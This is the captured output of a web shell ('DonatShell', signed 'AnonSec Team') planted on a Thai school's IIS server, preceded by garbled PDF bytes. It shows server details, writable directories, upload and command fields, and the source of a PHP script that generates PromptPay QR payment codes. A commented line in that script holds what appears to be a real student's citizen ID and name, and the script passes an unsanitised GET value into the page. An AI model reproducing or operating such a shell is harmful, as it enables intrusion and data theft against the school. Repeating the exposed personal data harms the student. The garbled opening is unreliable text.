%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/mis/student/mis/qr_payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/mis/student/mis/qr_payment/qrcode_reload.php
<?php session_start(); 
  header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past
  header ("Last-Modified: " . date("D, d M Y H:i:s") . " GMT");
  header ("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
  header ("Pragma: no-cache"); // HTTP/1.0
 //print_r($_GET);
// exit;
//include ("../system/config_sql_server.php");

// ตั้งเวลา refresh หน้า Page
// $page = $_SERVER['PHP_SELF'];
// $sec = "60";
?> 
<style>
table, th, td {
  border: 1px solid black;
}
table.center {
  margin-left: auto;
  margin-right: auto;
}

</style>
<style type="text/css">
  table    { border:ridge 5px #033c67; background-color:#FFFFFF; color:#000000; }
  table td { border:inset 0px #000; }
</style>
<?php 
/////////////////////////ชุดรหัสข้อมูล/////////////////////////////////////
/*
$IDCard = "5501900033450";
$StuID="45519";
$StuName="นายอาวุธ  บุญทายศ";
$TotalAmount= 1.02;
*/
$IDCard =  $_SESSION["IDCitizen"];
$StuID = $_SESSION["IDStudent"];
$StuName = $_SESSION["StuName"];
$TotalAmount = $_GET['Amount'];

$Rele="000201";//fix
$intitial="010212";//fix
//-----------------------------------
$Tx_AID="A000000677010112";//>>>>>>>>>>>>>>>>>>>>>>ADD_TEXT_AID  FORMAT A00XXXXXXXXXXXXX  โปลิ
$AID="00".strlen($Tx_AID);
$Total_AID=$AID.$Tx_AID;

$Tx_BIller="099400043441301";//>>> 099400043441301>>>>>>>>>>>>>>>>>>>ADD_TEXT_BILLER ID
//echo $Tx_BIller."<br>";
$BIller="01".strlen($Tx_BIller);
$Total_BIller=$BIller.$Tx_BIller;

//if($arr_qr['RecruitID']==""){echo "ไม่มีข้อมูลรหัสผุ้สมัคร"."<br>";};
$Tx_Re1=trim($StuID);//>>>>>>>>>>>>>>>>>>>>>>ADD_TEXT_REFER1
//$Tx_Re1="6021010045";
//echo $Tx_Re1."<br>";
$Re1="02".strlen($Tx_Re1);
if(strlen($Tx_Re1)>='10') {   // ระบะ ความยาวของ
    $Re1="02".strlen($Tx_Re1);
} else { 
    $Re1="020".strlen($Tx_Re1);
}
$Total_Re1=$Re1.$Tx_Re1;

//if($arr_qr['IDCitizen']==""){echo "ไม่มีข้อมูลบัตรประชาชน"."<br>";};
$Tx_Re2=trim($IDCard);//>>>>>>>>>>>>>>>>>>>>>>ADD_TEXT_REFER2
//$Tx_Re2="1234567890123";
//echo $Tx_Re2."<br>";
$Re2="03".strlen($Tx_Re2);
if(strlen($Tx_Re2)>='10') {
    $Re2="03".strlen($Tx_Re2);
} else { 
    $Re2="030".strlen($Tx_Re2);
}
$Total_Re2=$Re2.$Tx_Re2;

$total_QR=strlen($AID.$Tx_AID.$BIller.$Tx_BIller.$Re1.$Tx_Re1.$Re2.$Tx_Re2);
$QR="30".$total_QR;//รวมQR
//-----------------------------------

$Curr="5303764"; //fix
//if($arr_qr['ReHead_Money']==""){echo "ไม่มีข้อมูลจำนวนเงิน"."<br>";};
$Tx_Amount=trim($TotalAmount);//>>>>>>>>>>>>>>>>>>>>>>ADD_TEXT_AMOUNT money
if(strlen($Tx_Amount)>='10') { 
    $Amount="54".strlen($Tx_Amount);
} else {
    $Amount="540".strlen($Tx_Amount);
}
$total_Amount=$Amount.$Tx_Amount;

$Country="5802TH";//fix

$Tx_Terminal="SCB001";//>>>>>>>>>>>>>>>>>>>>>>ADD_TEXT_Terminal ID
if(strlen($Tx_Terminal)>='10') {
    $Terminal="07".strlen($Tx_Terminal);
} else {
    $Terminal="070".strlen($Tx_Terminal);
}
//$Total_Terminal=$Terminal.$Tx_Terminal;  // ไม่ได้ชำระผ่าน บัตรตัดออก

//$Addit="62".strlen($Terminal.$Tx_Terminal);


$crc="6304";//fix
/////////////////////////ชุดรหัสข้อมูล/////////////////////////////////////


//echo "<br>";
//รหัสทดสอบใช้งานได้จริงแต่ยังไม่ได้เข้าหรัส 0CRC 0xFFFF
//echo $ourParamId_Test="00020101021230570016A00000067701011201153110400394751010206REF0010304REF253037645406555.555802TH62100706SCB001630437C6";
//echo "<br>";
//นำไปเข้าหัส
$ourParamId ="$Rele$intitial$QR$Total_AID$Total_BIller$Total_Re1$Total_Re2$Curr$total_Amount$Country$Addit$Total_Terminal$crc";
//echo $ourParamId."<BR>";

//คำนวณหาค่า CRC calculation
define('CRC16POLYN', 0x1021);
function CRC16Normal($buffer)//คำนวณหาค่า CRC calculation
{
    $result = 0xFFFF;
    if (($length = strlen($buffer)) > 0) {
        for ($offset = 0; $offset < $length; $offset++) {
            $result ^= (ord($buffer[$offset]) << 8);
            for ($bitwise = 0; $bitwise < 8; $bitwise++) {
                if (($result <<= 1) & 0x10000) $result ^= CRC16POLYN;
                $result &= 0xFFFF;
            }
        }
    }
    return $result;
}
function dec2hex($number)//แปลงตัวเล็กเป็นตัวใหญ่
{
    $hexvalues = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
    $hexval = '';
    while($number != '0')
    {
        $hexval = $hexvalues[bcmod($number,'16')].$hexval;
        $number = bcdiv($number,'16',0);
    }
    return $hexval;
}
//echo dec2hex(CRC16Normal("888888"));//หาเลขฐาน16
$CRCCODE= str_pad(dec2hex(CRC16Normal($ourParamId)),4,"0",STR_PAD_LEFT);//หาเลขฐาน16 และเพิ่มศูนย์ข้างหน้า
    
//echo "<br>";
$TextQrcode=$ourParamId.$CRCCODE;//รวมรหัสทั้งหมด ชุดรหัส+เข้ารหัสCRC0xFFFF+

//$TextQrcode = "00020101021230740016A00000067701011201150505542001781100210622101001503171578000005518PALL5303764540464545802TH0706SCB0016304BF48";
//echo $TextQrcode."<br>";

?>
<div class="row mb-3">  
    <table class="center" style="width:250">
        <tr><td style="width:100%" style="background-color:#FF0000">
            <img src="./qr_payment/image/logopay1.jpg" width="250px" class="logo2" /> 
        </td></tr>
        <tr><td>
            <img src="./qr_payment/Tool_QRcode/process.php?id=<?php echo $TextQrcode;?>" />
        </td></tr>
        <tr><td>
            <?php 
            echo $StuName."<br>Ref 1 : ".$StuID."<br>ยอดเงิน ".number_format($TotalAmount,2,'.',',')." บาท <br>";
            ?>  
        </td></tr>
    </table>         
</div>

Anon7 - 2022
AnonSec Team